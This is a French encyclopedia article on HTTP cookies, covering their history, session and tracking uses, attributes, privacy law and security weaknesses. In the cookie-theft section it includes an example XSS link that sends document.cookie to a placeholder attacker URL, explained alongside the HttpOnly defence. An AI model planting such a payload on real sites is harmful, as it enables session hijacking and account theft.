Cookie (informatique)

Pour les articles homonymes, voir Cookie.

En informatique, un cookie (ou témoin de connexion, abrégé en témoin au Québec^[1]) est défini par le protocole de communication HTTP comme étant une suite d'informations envoyée par un serveur HTTP à un client HTTP, que ce dernier retourne lors de chaque interrogation du même serveur HTTP sous certaines conditions.

Il est envoyé en tant qu'en-tête HTTP par le serveur web au navigateur web qui le renvoie inchangé à chaque fois qu'il accède au serveur. Un cookie peut être utilisé pour une authentification, une session (maintenance d'état), et pour stocker une information spécifique sur l'utilisateur, comme les préférences d'un site ou le contenu d'un panier d'achat électronique. Le terme cookie est dérivé de magic cookie^{[réf. nécessaire]}, un concept bien connu dans l'informatique d'UNIX qui a inspiré l'idée et le nom des cookies de navigation. Quelques alternatives aux cookies existent, chacune a ses propres utilisations, avantages et inconvénients. Étant de simples fichiers de texte, les cookies ne sont pas exécutables. Ils ne sont ni des logiciels espions ni des virus, bien que des cookies provenant de certains sites soient détectés par plusieurs logiciels antivirus parce qu'ils permettent aux utilisateurs d'être suivis quand ils ont visité plusieurs sites. La plupart des navigateurs récents permettent aux utilisateurs de décider s'ils acceptent ou rejettent les cookies. Les utilisateurs peuvent aussi choisir la durée de stockage des cookies. Toutefois, le rejet complet des cookies rend certains sites inutilisables. Par exemple, les paniers d'achat de magasins ou les sites qui exigent une connexion à l'aide d'identifiants (utilisateur et mot de passe).

Historique

Le terme cookie dérive du terme anglais magic cookie, qui est un paquet de données qu'un programme reçoit et renvoie inchangé. Les cookies étaient déjà utilisés en informatique quand Lou Montulli^[2] a eu l'idée de les utiliser dans les communications Web en juin 1994. En ce temps, il était un employé de Netscape Communications, qui avait développé une application de e-commerce pour un client. Les cookies ont donné une solution au problème de la fiabilité de l'implémentation du panier d'achat virtuel d'un magasin.

John Giannandrea et Lou Montulli ont écrit la même année la première spécification des cookies de Netscape. La version 0.9 beta de Mosaic Netscape, publiée le 13 octobre 1994, intégrait la technologie des cookies^[3],[4]. La première utilisation des cookies (hors expérimentation) a été faite pour déterminer si les visiteurs du site web Netscape avaient déjà visité le site auparavant. Montulli a déposé une demande de brevet pour la technologie des cookies en 1995, et le brevet US 5774670 a été accordé en 1998^[5].

Après avoir été implémentés dans Netscape 0.9 beta en 1994, les cookies ont été intégrés dans Internet Explorer 2, publié en octobre 1995.

L'introduction des cookies n'a pas été largement connue du public pour autant. En particulier, les cookies étaient acceptés par défaut dans les paramètres des navigateurs, et les utilisateurs n'étaient pas informés de leur présence. Certaines personnes étaient au courant de l'existence des cookies vers le premier trimestre de 1995, mais le grand public n'apprit leur existence qu'après que le Financial Times ait publié un article le 12 février 1996. La même année, les cookies reçurent beaucoup d'attention de la part des médias, à cause de possibles intrusions dans la vie privée. Le sujet des cookies fut discuté dans deux consultations du U.S. Federal Trade Commission en 1996 et 1997.

Le développement de la spécification officielle des cookies était déjà en cours. Les premières discussions sur la spécification officielle eurent lieu en avril 1995 sur la liste de discussion www-talk. Un groupe spécial de travail du IETF fut formé. Deux propositions alternatives pour introduire un état dans les transactions HTTP ont été proposées par Brian Behlendorf et David Kristol respectivement, mais le groupe, dirigé par Kristol lui-même, a décidé d'utiliser la spécification de Netscape comme point de départ. En février 1996, le groupe de travail a déterminé que les cookies tierces parties (third party cookies) étaient une menace considérable à la protection de la vie privée. La spécification produite par le groupe a finalement été publiée en tant que RFC 2109.

Utilisations

Gestion des sessions

Les cookies peuvent être utilisés pour maintenir les données relatives à l'utilisateur durant sa navigation, mais aussi à travers plusieurs visites. Les cookies ont été introduits pour donner un moyen d'implémenter les paniers d'achat électronique, un dispositif virtuel dans lequel l'utilisateur peut accumuler les articles qu'il veut acheter durant sa navigation sur le site.

De nos jours, les applications comme les paniers d'achat enregistrent plutôt la liste des articles dans une base de données sur un serveur, ce qui est préférable; que de les enregistrer dans le cookie lui-même. Le serveur web envoie un cookie contenant un identifiant de session unique. Le navigateur web renvoie alors cet identifiant de session à chaque requête suivante et les articles du panier sont enregistrés et associés avec ce même identifiant unique de session.

Une utilisation fréquente des cookies est utile pour la connexion à un site à l'aide d'identifiants. En bref, le serveur web envoie en premier un cookie contenant un identifiant unique de session. Ensuite les utilisateurs fournissent leurs identifiants (généralement un nom d'utilisateur et un mot de passe). L'application web authentifie alors la session et permet à l'utilisateur d'accéder au service.

Personnalisation

Les cookies peuvent être utilisés pour mémoriser l'information sur l'utilisateur d'un site dans le but de lui montrer un contenu approprié dans le futur. Par exemple un serveur web peut envoyer un cookie contenant le nom de l'utilisateur dernièrement utilisé pour se connecter à un site web afin qu'il puisse être rempli dans les prochaines visites.

Beaucoup de sites web utilisent les cookies pour la personnalisation basée sur les préférences des utilisateurs. Les utilisateurs sélectionnent leurs préférences à l'aide d'un formulaire et envoient celles-ci au serveur. Le serveur encode les préférences dans le cookie et le renvoie au navigateur. Ce cheminement s'effectue à chaque fois que l'utilisateur accède à une page, le serveur a seulement envoyé le cookie où les préférences étaient enregistrées, et qui peuvent personnaliser la page d'après les préférences de l'utilisateur. Par exemple, le site web de Wikipédia permet d'authentifier les utilisateurs pour qu'ils choisissent l'habillage du site qu'ils préfèrent. Le moteur de recherche Google permet aux utilisateurs (même s'ils ne sont pas enregistrés) de choisir le nombre de résultats qu'ils veulent voir sur chaque page.

Pistage

Les cookies de pistage sont utilisés pour suivre les habitudes de navigation des utilisateurs d'internet. Cela peut être fait aussi en partie en utilisant l'adresse IP de l'ordinateur faisant une requête d'une page ou à l'aide de l'en-têtes HTTP 'référant' que le client envoie à chaque requête, mais les cookies permettent une plus grande précision. Cela peut être fait comme dans l'exemple suivant:

1. Si l'utilisateur fait appel à une page d'un site, et que la requête ne contient pas de cookie, le serveur présume que c'est la première page visitée par l'utilisateur. Le serveur crée alors une chaîne aléatoire et l'envoie au navigateur en même temps que la page demandée.
2. À partir de ce moment, le cookie sera automatiquement envoyé par le navigateur à chaque fois qu'une nouvelle page du site sera appelée. Le serveur enverra la page comme d'habitude, mais enregistrera aussi l'URL de la page appelée, la date, l'heure de la requête et le cookie dans un fichier de journalisation.

En regardant le fichier de journalisation, il est alors possible de voir quelles pages l'utilisateur a visitées et dans quel ordre. Par exemple, si le fichier contient quelques requêtes faites utilisant le cookie id=abc, cela peut établir que toutes ces requêtes proviennent du même utilisateur. L'URL demandée, la date et l'heure associées aux requêtes permettent de suivre la navigation de l'utilisateur à la trace.

Les cookies tierces parties et les pixels espions, expliqués ci-dessous, permettent en plus le pistage à travers différents sites. Le pistage dans un seul site est généralement utilisé pour un usage statistique. Par contre, le pistage dans différents sites à l'aide des cookies tierces parties est généralement utilisé par les entreprises de publicités pour produire des profils d'utilisateurs anonymes (qui sont alors utilisés pour déterminer quelles publicités devraient être montrées à l'utilisateur).

Les cookies de pistage sont un risque d’atteinte à la vie privée de l'utilisateur mais ils peuvent être supprimés facilement. La plupart des navigateurs récents incluent une option pour supprimer automatiquement les cookies persistant à la fermeture de l'application.

Les cookies tierce partie

Les images et autres objets contenus dans une page web peuvent résider dans des serveurs différents de celui hébergeant la page. Pour afficher la page, le navigateur télécharge tous ces objets. La plupart des sites web contiennent des informations provenant de différentes sources. Par exemple, si vous saisissez www.exemple.com dans votre navigateur, il y aura souvent des objets ou des publicités sur une partie de la page qui proviendront de sources différentes, c'est-à-dire d'un domaine différent de www.exemple.com. Les cookies « premières » parties sont des cookies qui sont mis en place par le même domaine qui est inscrit dans la barre d'adresse du navigateur. Les cookies tierce partie sont mis en place par l'un des objets de la page qui proviennent d'un domaine différent.

Par défaut, les navigateurs comme Mozilla Firefox, Internet Explorer et Opera acceptent les cookies tierce partie, mais les utilisateurs peuvent changer les paramètres dans les options du navigateur pour les bloquer. Il n'y a pas de risque de sécurité inhérent aux cookies tierce partie qui permettent des fonctionnalités pour le web, cependant ils servent aussi à pister les internautes de site en site^[6].

Implémentation

Une interaction possible entre un navigateur web et le serveur hébergeant la page Web. Le serveur envoie un cookie au navigateur et le navigateur le renvoie quand il appelle une autre page.

Les cookies sont de petites données envoyées par le serveur web au navigateur. Le navigateur les retourne inchangées au serveur, introduisant un état (mémoire des événements antérieurs) dans la transaction HTTP qui autrement serait sans état. Sans les cookies, chaque récupération de page Web ou d'un composant d'une page Web est un événement isolé, indépendant des autres requêtes faites sur le même site. En plus de pouvoir être mis en place par le serveur web, les cookies peuvent aussi être mis en place par des langages de script comme JavaScript, s'il est supporté et autorisé par le navigateur.

La spécification officielle des cookies suggère que les navigateurs soient capables d'enregistrer et de renvoyer un nombre minimal de cookies. Spécifiquement, un navigateur devrait être capable de stocker au moins 300 cookies de quatre kilo-octets chacun, et au moins 20 cookies pour un même serveur ou domaine.

D'après la section 3.1 de RFC 2965^[7], les noms de cookies sont insensibles à la casse.

Un cookie peut spécifier la date de son expiration, dans ce cas le cookie sera supprimé à cette date. Si le cookie ne spécifie pas de date d'expiration, le cookie est supprimé dès que l'utilisateur quitte son navigateur. En conséquence, spécifier une date d'expiration est un moyen de faire survivre le cookie à travers plusieurs sessions. Pour cette raison, les cookies avec une date d'expiration sont dits persistants. Un exemple d'application: un site de vente peut utiliser les cookies persistants pour enregistrer les articles que les utilisateurs ont placés dans leur panier d'achat (en réalité, le cookie peut faire référence à une entrée enregistrée dans une base de données du site de vente, et non pas dans votre ordinateur). Grâce à ce moyen, si les utilisateurs quittent leur navigateurs sans faire un achat et y retournent plus tard, ils pourront trouver à nouveau les articles dans le panier. Si ces cookies ne donnaient pas de date d'expiration, ils expireraient à la fermeture du navigateur, et l'information sur le contenu du panier serait perdue.

Les cookies peuvent être limités dans leur portée à un domaine spécifique, un sous-domaine ou un chemin d'accès sur le serveur qui les a créés.

Création d'un cookie

Le transfert des pages web se fait à l'aide du protocole de transfert HyperTexte (HTTP). En ne tenant pas compte des cookies, les navigateurs appellent une page provenant des serveurs web en leurs envoyant en général un texte court appelé requête HTTP. Par exemple, pour accéder à la page www.exemple.org/index.html, les navigateurs se connectent au serveur www.exemple.org et envoie une requête qui ressemble à celle-ci:

Le serveur répond en envoyant la page demandée, précédée par un texte similaire appelé 'réponse HTTP'. Ce paquet peut contenir des lignes demandant au navigateur de stocker des cookies:

Le serveur envoie seulement la ligne Set-Cookie si le serveur veut que le navigateur stocke un cookie. Set-Cookie est une requête pour que le navigateur stocke la chaîne name=value et la renvoie dans toutes les futures requêtes au serveur. Si le navigateur supporte les cookies et que les cookies sont permis dans les options du navigateur, le cookie sera inclus dans toutes les requêtes suivantes faite au même serveur. Par exemple, le navigateur appelle la page www.exemple.org/spec.html en envoyant au serveur www.exemple.org la requête suivante:

Ceci est une requête pour une autre page du même serveur, et diffère de la première au-dessus car elle contient une chaîne que le serveur a précédemment envoyé au navigateur. Grâce à ce moyen, le serveur sait que cette requête est reliée à la précédente. Le serveur répond en envoyant la page appelée, et aussi en y ajoutant d'autres cookies.

La valeur du cookie peut être modifiée par le serveur en envoyant une nouvelle ligne Set-Cookie: name=nouvelle_valeur en réponse à la page appelée. Le navigateur remplace alors l'ancienne valeur par la nouvelle.

La ligne Set-Cookie est généralement créée par un programme CGI ou un autre langage de script, et non par le serveur HTTP. Le serveur HTTP (exemple: Apache) ne fera que transmettre le résultat du programme (un document précédé par l'en-tête contenant les cookies) au navigateur.

Les cookies peuvent aussi être mis en place par JavaScript ou d'autres langages similaires exécutés dans le navigateur, c'est-à-dire du côté du client plutôt que du côté du serveur. En JavaScript, l'objet document.cookie est utilisé dans ce but. Par exemple, l'instruction document.cookie="température=20" crée un cookie nommé température et de valeur 20.

Les attributs d'un cookie

Exemple d'une réponse HTTP de google.com, qui met en place un cookie avec des attributs.

En plus de la paire nom/valeur, un cookie peut aussi contenir une date d'expiration, un chemin, un nom de domaine et le type de connexion prévu, c'est-à-dire normale ou chiffrée. La RFC 2965 définit aussi que les cookies doivent avoir un numéro de version obligatoire, mais cela est généralement omis. Ces parties de données suivent la paire nom=nouvelle_valeur et sont séparées par des points virgules. Par exemple, un cookie peut être créé par le serveur en envoyant une ligne Set-Cookie: nom=nouvelle_valeur; expires=date; path=/; domain=.exemple.org.

Expiration

Les cookies expirent, et ne sont alors pas envoyés par le navigateur au serveur, sous certaines conditions que voici:

1. À la fin de la session de l'utilisateur (c'est-à-dire quand le navigateur est fermé) si le cookie n'est pas persistant.
2. Une date d'expiration a été définie, et a été atteinte.
3. La date d'expiration du cookie est changée (par le serveur ou le script) en une date du passé.
4. Le navigateur supprime le cookie à la demande de l'utilisateur.

La troisième condition permet au serveur ou au script de supprimer explicitement le cookie. Notons que le navigateur n'envoie pas l'information sur la durée de vie du cookie, donc il n'y a pas moyen pour le serveur de vérifier si le cookie expire prochainement ou non.

Idées reçues

Depuis leur introduction sur Internet, de fausses idées sur les cookies ont circulé sur Internet et dans les médias. En 1998, CIAC, une équipe de surveillance des incidents d'ordinateur du Département de l'énergie des États-Unis, a déterminé que les failles de sécurité des cookies étaient « essentiellement non existantes » et a expliqué que « l'information sur la provenance de vos visites et le détail des pages web que vous avez visitées existe déjà dans les fichiers de journalisation des serveurs web ». En 2005, Jupiter Research a publié les résultats d'une étude, dans laquelle un pourcentage important d'interrogés a cru véridiques certaines des fausses affirmations suivantes:

• Les cookies sont comme des virus, ils infectent les disques durs des utilisateurs.
• Les cookies génèrent des pop-up
• Les cookies sont utilisés pour envoyer du spam
• Les cookies sont utilisés seulement pour la publicité

Les cookies ne peuvent pas effacer ou lire l'information provenant de l'ordinateur de l'utilisateur. Cependant, les cookies permettent de détecter les pages web visitées par un utilisateur sur un site donné ou un ensemble de sites. Ces informations peuvent être collectées dans un profil d'utilisateur. Certains profils sont anonymes, en ce sens qu'ils ne contiennent pas d'information personnelle, pourtant même de tels profils peuvent être controversés.

Selon la même étude, un grand pourcentage d'utilisateurs d'Internet ne savent pas comment supprimer les cookies. L'une des raisons pour lesquelles les gens ne font pas confiance aux cookies est que certains sites ont abusé de l'aspect de l'identification personnelle des cookies et ont partagé ces informations avec d'autres sources. Un grand pourcentage de la publicité ciblée provient de l'information glanée par les cookies de pistage.

Les paramètres du navigateur

La plupart des navigateurs supportent les cookies et permettent à l'utilisateur de les désactiver. Les options les plus courantes sont les suivantes:

1. Activer ou désactiver les cookies complètement, afin qu'ils soient acceptés ou bloqués en tout temps.
2. Permettre à l'utilisateur de voir les cookies qui sont actifs dans une page donnée, en saisissant javascript:alert(document.cookie) dans la barre d'adresse du navigateur. Certains navigateurs incorporent un gestionnaire de cookie pour l'utilisateur qui peut voir et supprimer de façon sélective les cookies actuellement stockés par le navigateur.

La plupart des navigateurs permettent aussi une suppression totale des données personnelles incluant les cookies. Des modules complémentaires pour contrôler les permissions des cookies existent aussi.

Vie privée et cookies tierce partie

Dans cet exemple fictif, une entreprise de publicité a placé des bannières dans deux sites web. En hébergeant les bannière sur ses serveurs et en utilisant les cookies tierce partie, l'entreprise de publicité est capable de suivre la navigation de l'utilisateur à travers ces deux sites.

Les cookies ont des implications importantes dans la vie privée et l'anonymat des utilisateurs du web. Bien que les cookies soient seulement renvoyés au serveur les ayant mis en place ou à un serveur appartenant au même domaine Internet, une page web peut cependant contenir des images ou d'autres composants stockés sur des serveurs appartenant à d'autres domaines. Les cookies qui sont mis en places durant la récupération de ces composants externes sont appelés cookies tierce partie. Cela inclut les cookies provenant des fenêtres pop-up indésirables.

Les entreprises de publicité utilisent les cookies tierce partie pour pister les utilisateurs à travers les différents sites qu'ils visitent. En particulier, une entreprise de publicité peut pister un utilisateur à travers toutes les pages où elle a placé des images de publicité ou un pixel espion. La connaissance des pages visitées par l'utilisateur permet à l'entreprise de publicité de cibler les préférences publicitaire de l'utilisateur.

La possibilité de construire un profil d'utilisateur est considérée par certains comme une intrusion dans la vie privée, particulièrement quand le pistage est fait à travers différents domaines utilisant les cookies tierce partie. Pour cette raison, certains pays ont une législation sur les cookies.

Le gouvernement des États-Unis a mis en place des règles strictes sur la mise en place des cookies en 2000, après qu'il fut révélé que le bureau des politiques antidrogues de la Maison Blanche utilisait les cookies pour suivre les ordinateurs des utilisateurs regardant en ligne les publicités antidrogues. En 2002, l'activiste de la vie privée Daniel Brandt a découvert que la CIA laissait des cookies persistants sur les ordinateurs qui avaient visités ses sites web. Une fois informée de cette violation, la CIA déclara que ces cookies n'étaient pas intentionnellement envoyés et cessa de les mettre en place. Le 25 décembre 2005, Brandt a découvert que l'Agence Nationale de Sécurité avait laissé deux cookies persistants sur des ordinateurs de visiteurs à cause d'une mise à jour logicielle. Après avoir été informée, l'Agence Nationale de Sécurité désactiva immédiatement les cookies.

Directive 2002/58 sur la vie privée

La directive vie privée et communications électroniques, contient des règles sur l'utilisation des cookies. En particulier, l'article 5, Paragraphe 3 de cette directive exige que le stockage des données (comme les cookies) dans l'ordinateur de l'utilisateur puisse seulement être fait si:

1. l'utilisateur est informé de la façon dont les données sont utilisées;
2. il est donné à l'utilisateur la possibilité de refuser cette opération de stockage. Cependant, cet article statue aussi que le stockage de données pour raisons techniques est exempté de cette loi.

Devant être mise en application à partir d'octobre 2003, la directive n'a cependant été que très imparfaitement mise en pratique selon un rapport de décembre 2004, qui signalait en outre que certains États-membres (Slovaquie, Lettonie, Grèce, Belgique et Luxembourg) n'avaient pas encore transposé la directive en droit interne.

Selon l'avis du G29 de 2010, cette directive, qui conditionne notamment l'usage des cookies à des fins de publicité comportementale, au consentement explicite de l'internaute, demeure très mal appliquée.

P3P

La spécification du P3P inclut la possibilité pour un serveur d'énoncer une politique en matière de protection de la vie privée, qui définit quel genre d'information il collecte et dans quel but. Ces politiques incluent (mais ne sont limitées à) l'utilisation de l'information collectée en utilisant les cookies. D'après les définitions du P3P, un navigateur peut accepter ou rejeter les cookies en comparant les politiques en matière de protection de la vie privée avec les préférences de l'utilisateur ou en demandant à l'utilisateur, en lui présentant la politique en matière de protection de la vie privée déclarée par le serveur.

Beaucoup de navigateurs, incluant Safari d'Apple et Internet Explorer version 6 et 7, supportent le P3P qui permet au navigateur de déterminer s'il doit accepter le stockage des cookies tierce partie. Le navigateur Opera permet aux utilisateurs de refuser les cookies tierce partie et de créer un profil de sécurité global et spécifique pour les domaines Internet. Firefox 2.x avait abandonné le support P3P mais l'a réintégré dans la version 3.x.

Les cookies tierce partie peuvent être bloqués par la plupart des navigateurs afin d'augmenter le respect de la vie privée et réduire le pistage publicitaire, ceci sans affecter négativement l'expérience web de l'utilisateur. Beaucoup de régies de publicité offrent une option Opt out à la publicité ciblée, en mettant en place un cookie générique dans le navigateur qui désactive ce ciblage.

Désavantages des cookies

En plus des problèmes d'atteinte à la vie privée, les cookies ont aussi quelques désavantages techniques. En particulier, ils n'identifient pas toujours exactement les utilisateurs, ils peuvent être utilisés pour des attaques de sécurité, et ils sont en oppositions avec le transfert représentatif d'état, style architectural du logiciel.

Identification imprécise

Si plus d'un navigateur est utilisé sur un ordinateur, dans chacun d'eux il y a toujours une unité de stockage séparé pour les cookies. Par conséquent les cookies n'identifient pas une personne, mais une combinaison de compte d'utilisateur, un ordinateur, et un navigateur Web. Ainsi, n'importe qui peut utiliser ces comptes, les ordinateurs, ou les navigateurs qui ont la panoplie des cookies.

De même, les cookies ne font pas la différence entre les multiples utilisateurs qui partagent le même compte d'utilisateur, l'ordinateur, et le navigateur.

Détournement de cookie

Un cookie peut être volé par un autre ordinateur cela est permis par la lecture du réseau

Durant l'opération normale, les cookies sont renvoyés entre le serveur (ou un groupe de serveurs dans le même domaine) et le navigateur de l'ordinateur de l'utilisateur. Depuis que les cookies peuvent contenir des informations sensibles (nom de l'utilisateur, un mot de passe utilisé pour une authentification, etc.), leurs valeurs ne devraient pas être accessibles aux autres ordinateurs. Le vol de cookie est un acte d'interception des cookies par un tiers non autorisé.

Les cookies peuvent être volés via un renifleur de paquet dans une attaque appelée détournement de session. Le trafic sur le net peut être intercepté et lu par les ordinateurs autres que ceux qui envoient et qui reçoivent (particulièrement sur l'espace public Wi-fi non-crypté). Ce trafic inclut les cookies envoyés sur des sessions ordinaires http non-crypté. Quand le trafic réseau n'est pas crypté, des utilisateurs malveillants peuvent ainsi lire les communications d'autres utilisateurs sur le réseau, en utilisant ce qu'on appelle les renifleurs de paquets.

Ce problème peut être surmonté en sécurisant la communication entre l'ordinateur de l'utilisateur et le serveur en employant la Couche Sécurisée de Transport (protocole https) pour chiffrer la connexion. Un serveur peut spécifier un drapeau sécurisé tout en mettant en place un cookie; le navigateur l'enverra seulement sur une ligne sécurisée, comme une connexion en SSL.

Cependant beaucoup de sites, bien qu'utilisant une communication chiffrée https pour l'authentification de l'utilisateur (c'est-à-dire la page de connexion), envoient ultérieurement des cookies de session et d'autres données normalement, par des connexions http non-cryptées pour des raisons d'efficacité. Les attaquants peuvent ainsi intercepter les cookies d'autres utilisateurs et en se faisant passer pour eux sur des sites appropriés ou en les utilisant dans des attaques de cookies.

L'écriture de script dans le site: un cookie qui devrait seulement être échangé entre le serveur et le client est envoyé à un autre tiers.

Un autre moyen pour voler les cookies est l'écriture de script dans les sites et faire en sorte que le navigateur envoie lui-même les cookies à des serveurs malveillants qui ne les reçoivent jamais. Les navigateurs modernes permettent l'exécution de parties de code recherchées à partir du serveur. Si les cookies sont accessibles pendant l'exécution, leurs valeurs peuvent être communiquées sous une certaine forme aux serveurs qui ne devraient pas y accéder. Chiffrer les cookies avant leur envoi sur le réseau n'aide pas à contrer l'attaque.

Ce type d'écriture de script dans le site est typiquement employé par les attaquants sur les sites qui permettent aux utilisateurs de poster des contenus HTML. En intégrant une partie de code compatible dans le poste en HTML, un attaquant peut recevoir des cookies d'autres utilisateurs. La connaissance de ces cookies peut être utilisée en se connectant au même site en utilisant les cookies volés, ainsi en étant reconnu en tant qu'utilisateur dont les cookies ont été volés.

Un moyen pour prévenir de telles attaques est d'utiliser le drapeau HttpOnly; c'est une option, introduite depuis la version 6 de Internet Explorer en PHP depuis la version 5.2.0 qui est prévue pour rendre le cookie inaccessible au client proche du script. Cependant, les développeurs web devraient prendre en compte dans leur développement de site afin qu'ils soient immunisés par l'écriture de script dans le site.

Une autre menace de sécurité utilisée est la Fabrication de Demande dans le site.

Vol de cookie

La spécification technique officielle permet aux cookies d'être renvoyés uniquement aux serveurs du domaine dont ils sont originaires. Cependant, la valeur des cookies peut être envoyée à d'autres serveurs en utilisant des moyens différents des en-têtes de cookies.

En particulier, les langages de script comme JavaScript et JScript sont généralement autorisés à accéder aux valeurs des cookies et sont capables d'envoyer des valeurs arbitraires à n'importe quel serveur sur Internet. Cette capacité des scripts est utilisée à partir de sites Web permettant aux utilisateurs de poster des contenus HTML que d'autres utilisateurs peuvent voir.

Par exemple, un attaquant fonctionnant sur le domaine exemple.com peut publier un commentaire contenant le lien suivant pointant vers un blog populaire qu'il ne contrôle pas autrement:

<a href="#" onclick="window.location='http://exemple.com/stole.cgi?text='+escape(document.cookie); return false;">Cliquer ici!</a>

Quand un autre utilisateur clique sur ce lien, le navigateur exécute la partie de code de l'attribut onclick, ainsi il remplace la chaîne de caractère document.cookie par la liste des cookies de l'utilisateur qui sont actifs pour cette page. Par conséquent, cette liste de cookies est envoyée au serveur exemple.com, et l'attaquant est donc capable de collecter les cookies de cet utilisateur.

Ce type d'attaque est difficile à détecter du côté utilisateur parce que le script provient du même domaine qui a mis en place le cookie, et l'opération d'envoi des valeurs semble être autorisée par ce domaine. Il est considéré que c'est la responsabilité des administrateurs opérant ce type de sites de mettre en place des restrictions empêchant la publication de code malveillant.

Les cookies ne sont pas directement visibles aux programmes du côté client comme le JavaScript s'ils ont été envoyés avec le drapeau HttpOnly. Du point de vu du serveur, la seule différence est que dans la ligne de l'en-tête set-cookie y est ajouté un nouveau champ contenant la chaîne de caractères 'HttpOnly':

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Quand le navigateur reçoit un tel cookie, il est sensé l'utiliser normalement dans l'échange HTTP suivant, mais sans le rendre visible aux scripts exécutés du côté client. Le drapeau 'HttpOnly' ne fait partie d'aucune spécification technique officielle, et n'est pas implémenté dans tous les navigateurs. Notez qu'il n'y a actuellement aucun moyen de prévenir la lecture et l'écriture des cookies de session par la méthode XMLHTTPRequest.

Modification du contenu : un attaquant envoie à un serveur un cookie invalide, éventuellement réalisé à partir d'un cookie valide envoyé par le serveur

Contenu modifiable

Dès que les cookies ont besoins d'être stockés et renvoyés inchangés au serveur, un attaquant peut modifier la valeur des cookies avant leur renvoi au serveur. Si, par exemple, un cookie contient la valeur totale que l'utilisateur doit payer pour les articles mis dans le panier du magasin, en changeant cette valeur le serveur est exposé au risque de faire payer moins l'attaquant que le prix de départ. Le procédé de modifier la valeur des cookies est appelé Cookie poisoning et peut être utilisé après un vol de cookie pour rendre l'attaque^{[Laquelle ?]} persistante.

Dans la méthode du remplacement de cookie, l'attaquant exploite un problème du navigateur pour envoyer un cookie invalide au serveur.

La plupart des sites web, cependant, stockent seulement un identifiant de session - un numéro unique généré aléatoirement utilisé pour identifier l'utilisateur de la session - dans le cookie lui-même, alors que toute le reste de l'information est stocké sur le serveur. Dans ce cas, ce problème est en grande partie résolu.

Cookies et domaines

Chaque site est supposé avoir ses propres cookies, donc un site ne devrait pas être capable de modifier ou créer des cookies associés à un autre site. Une faille de sécurité d'un navigateur web peut permettre à des sites malveillants d'enfreindre cette règle. L'exploitation d'une telle faille est couramment appelée cross-site cooking. Le but de telles attaques peut être le vol de l'identifiant de session.

Les utilisateurs devraient utiliser les versions les plus récentes des navigateurs Web dans lesquels ces vulnérabilités sont pratiquement éliminées.

État contradictoire entre le client et le serveur

L'utilisation des cookies peut générer une contradiction entre l'état du client et l'état stocké dans le cookie. Si l'utilisateur acquiert un cookie et clique sur le bouton « Retour » du navigateur, l'état du navigateur n'est généralement pas le même qu'avant cette acquisition. Par exemple, si le panier d'une boutique en ligne est réalisé en utilisant les cookies, le contenu du panier ne peut pas changer quand l'utilisateur revient dans l'historique du navigateur: si l'utilisateur presse sur un bouton pour ajouter un article dans son panier et clique sur le bouton « Retour », l'article reste dans celui-ci. Cela n'est peut-être pas l'intention de l'utilisateur, qui veut certainement annuler l'ajout de l'article. Cela peut mener à un manque de fiabilité, de la confusion, et des bugs. Les développeurs Web doivent donc être conscients de ce problème et mettre en œuvre des mesures visant à gérer des situations comme celle-ci.

Échéance de cookie

Les cookies permanents ont été critiqués par les experts de la sécurité de la vie privée pour ne pas être prévus pour expirer assez tôt, et de ce fait permettre aux sites web de suivre les utilisateurs et de construire au fur et à mesure leur profil. Cet aspect des cookies fait partie aussi du problème de détournement de session, parce qu'un cookie permanent volé peut être utilisé pour se faire passer pour un utilisateur pour une période de temps considérable.

Alternatives aux cookies

Certaines opérations qui peuvent être réalisées en utilisant les cookies peuvent aussi être réalisées en utilisant d'autres mécanismes.

Adresse IP

Les utilisateurs peuvent être suivis avec l'adresse IP de l'ordinateur appelant la page. Cette technique a été disponible depuis l'introduction du World Wide Web, au fur et à mesure que les pages sont téléchargées le serveur demande l'adresse IP de l'ordinateur faisant fonctionner le navigateur ou le proxy, si aucun n'est utilisé. Le serveur peut suivre cette information qu'il y ait ou non des cookies utilisés. Cependant, ces adresses sont typiquement moins fiables dans l'identification d'un utilisateur que les cookies car les ordinateurs et les proxys peuvent être partagés par plusieurs utilisateurs, et le même ordinateur peut recevoir une adresse IP différente sur chaque session de travail (comme c'est souvent le cas pour les connexions téléphoniques).

Le suivi par les adresses IP peut être fiable dans certaines situations, comme le cas des connexions à bandes larges qui maintiennent la même adresse IP pour une longue période, aussi longtemps que le courant passe.

Certains systèmes comme Tor sont conçus pour maintenir l'anonymat d'Internet et rendre impossible ou impraticable le suivi par l'adresse IP.

URL (requête)

Une technique plus précise est basée sur l'encastrement d'information dans les URL. La partie requête de chaînes de caractères de l'URL est l'une des techniques qui sont typiquement utilisées dans ce but, mais d'autres parties peuvent être utilisées aussi bien. Le Servelet Java et les mécanismes de session PHP utilisent tous les deux cette méthode si les cookies ne sont pas activés.

Cette méthode comprend le serveur Web apposant des requêtes de chaînes de caractères aux liens de la page Web qui la porte quand elle est envoyée au navigateur. Quand l'utilisateur suit un lien, le navigateur retourne la chaîne de requête attachée, au serveur.

Les chaînes de requête utilisées dans ce but et les cookies sont très similaires, tous les deux étant des informations arbitrairement choisies par le serveur et renvoyées par le navigateur. Cependant, il y a quelques différences: depuis que la chaîne de requête est une partie de l'URL, si cette URL est réutilisée plus tard, la même partie d'information attachée est envoyée au serveur. Par exemple, si les préférences d'un utilisateur sont encodées dans une chaîne de requête d'une URL et que l'utilisateur envoie cette URL à un autre utilisateur par e-mail, ces préférences peuvent aussi bien être utilisées pour un autre utilisateur.

D'ailleurs, même si le même utilisateur accède à la même page deux fois, il y a pas de garantie que la même chaîne de requête soit utilisée les deux fois. Par exemple, si le même utilisateur arrive à la même page mais vient d'une page interne du site une première fois et provient d'une page externe de recherche une seconde fois, la chaîne de requête relative (à la page du site) est typiquement différente alors que les cookies sont les mêmes. Pour plus de détails, regardez la chaîne de requête.

Les autres désavantages des chaînes de requêtes liés à la sécurité: garder les données qui identifient une session en chaînes de requêtes permet ou simplifie les attaques de fixation de session, les attaques de référence au login et d'autres exploitations des failles. Transférer les identifiants de session en tant que cookies HTTP est plus sécurisé.

Champs de formulaire cachés

Une forme de suivi de session, utilisée par ASP.NET, est d'utiliser les formulaires web avec des champs cachés. Cette technique est très similaire à l'utilisation des chaînes de requêtes par URL pour porter l'information et a les mêmes avantages et désavantages ; et si le formulaire est traité avec la méthode HTTP GET, les champs deviennent en fait une partie de l'URL du navigateur qui l'enverra lors de la soumission du formulaire. Mais la plupart des formulaires sont traités avec HTTP POST, qui provoque le formulaire d'information, incluant les champs cachés, pour être ajouté comme une entrée supplémentaire qui n'est ni une partie de l'URL, ni d'un cookie.

